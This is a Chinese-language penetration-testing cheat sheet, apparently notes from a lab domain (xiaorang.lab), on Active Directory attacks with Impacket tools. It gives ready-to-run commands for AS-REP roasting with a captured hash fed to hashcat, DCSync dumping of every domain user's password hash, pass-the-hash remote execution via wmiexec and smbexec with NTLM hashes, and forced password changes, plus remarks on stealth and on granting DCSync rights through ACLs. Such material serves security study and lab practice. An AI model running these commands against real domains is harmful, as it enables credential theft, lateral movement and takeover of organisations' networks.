impacket-GetNPUsers

AS-REP Roasting 攻击

ASREProast 攻击是一种针对 Kerberos 协议的攻击技术

如果用户账号设置 Dont require Kerberos preauthentication (不需要 kerberos 预身份验证)选项,该功能默认不启用

攻击者就可以使用指定用户发送 AS_REQ 请求,去请求票据

此时域控的响应的 AS_REP 的消息中,不会作任何验证就将 TGT 票据和该用户 HASH 加密的 Session Key 返回

然后,攻击者就可以对获取到的用户 Hash 加密的 Session Key 进行离线破解,破解成功就可以获取明文密码

  • 本地系统遍历哪些用户开启了 “不需要预身份验证” 选项
1
Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name

使用 impacket-GetNPUsers

  • 枚举用户列表获取未设置认证的账号
1
impacket-GetNPUsers -dc-ip 172.22.6.12 -usersfile user.txt xiaorang.lab/
  • hashcat 进行破解 Kerberos 5 AS-REP etype 23 (18200)
1
hashcat -m 18200 --force -a 0 '$krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:5f4042cedcac50fab53fbe2ed069f8bb$92b24440eda0c831a5c184ae655f56e9078be319b726dc41ba2e15cfdcf936383a96e1fc65aa99017dec89ed2f11939cbf430c543ef297c4a857b5d2bfb15a376b9eeb2f7d9e910a844ea43a7969edac7c4fd55c02477378eabc3ef278c07a1261c75e8037e37b1b472111b3ae28fc7132f759ef834ad745e4035187a4569dc712a876ac20421b697e62bb0890a46789aa796709a5a47fd8796b6487e93690102a0a3fc156878e4e508366470dd404bb39476938b05e4a0b5478c3d1431a4b61a49ec15156691a6dcb1bf57710a5859c9c137c69778b1f5f93aca3f8c802bcd93163a15582e4766d35f6b0f4' rockyou.txt

impacket-secretsdump

DCSync 攻击

在域环境中,不同域控之间,每15分钟都会进行一次域数据同步,当 DC1 想从 DC2 获取数据时,会发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据

DCSync 就是利用这个原理,通过 DRS(Directory Replication Service) 服务的 GetNCChanges 接口向域控发送数据同步请求

DCSync 技术被整合在了 Mimikatz 中,该功能可以模仿一个域控制器,从真实的域控中请求数据,例如用户的哈希。该功能最大的特点是不用登陆域控,即可远程通过域数据同步复制的方式获得域控的数据

默认情况下,只有 Administrators、Domain Controllers 和 Enterprise Domain Admins 组内的用户有权限使用 DCSync,但我们可以对域内普通用户添加 ACL (Access Control List) 实现普通用户也能调用 DCSync 功能

使用 impacket-secretsdump

impacket 的 secretdump dcsync 会增加暴露的可能,mimikatz 实现 dcsync 隐蔽性会比稍好些

  • 获取 administrator 用户 Hash
1
impacket-secretsdump domain/<username for DCSync>:password@<dc-ip> -dc-ip <dc-ip> -just-dc-user <username for DCSync>
  • 获取所有域用户 Hash
1
impacket-secretsdump xiaorang/admin:Passwd@172.22.6.12

wmiexec & smbexec & psexec

这些工具的主要区别在于它们使用的协议和技术不同

  • psexec:使用Server Message Block (SMB)协议通信,通过 SMB 可以访问共享文件、打印机、计算机等资源,并执行命令。它可以实现远程命令执行和服务安装等功能,常用于Windows系统的横向渗透,需要目标主机开启445端口
  • wmiexec:使用Windows Management Instrumentation (WMI)协议通信,WMI 是一种管理和监控 Windows 系统的标准化技术,可以通过 WMI 执行各种任务,包括远程命令执行、检索系统信息等。它可以用于横向渗透、漏洞利用和信息收集等场景,需要目标主机开启135端口
  • smbexec:与 psexec 类似,也使用 SMB 协议通信,但是实现方式不同。它使用 NTLM 认证协议,可以在目标主机上运行任意程序,无需在目标主机上安装服务或运行 exe 文件。它可以用于 Windows 系统的横向渗透、漏洞利用和信息收集等场景,需要目标主机开启445端口

PTH 攻击

使用impacket-wmiexec

1
proxychains impacket-wmiexec XIAORANG/administrator@172.22.6.25 -hashes :04d93ffd6f5f6e4490e0de23f240a5e9

使用 impacket-smbexec

1
impacket-smbexec -hashes :2c66200c70475bd322b880f813f34d7a administrator@172.22.8.15

impacket-changepasswd

使用 impacket-changepasswd 更改用户密码

1
impacket-changepasswd xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass 'asd123!'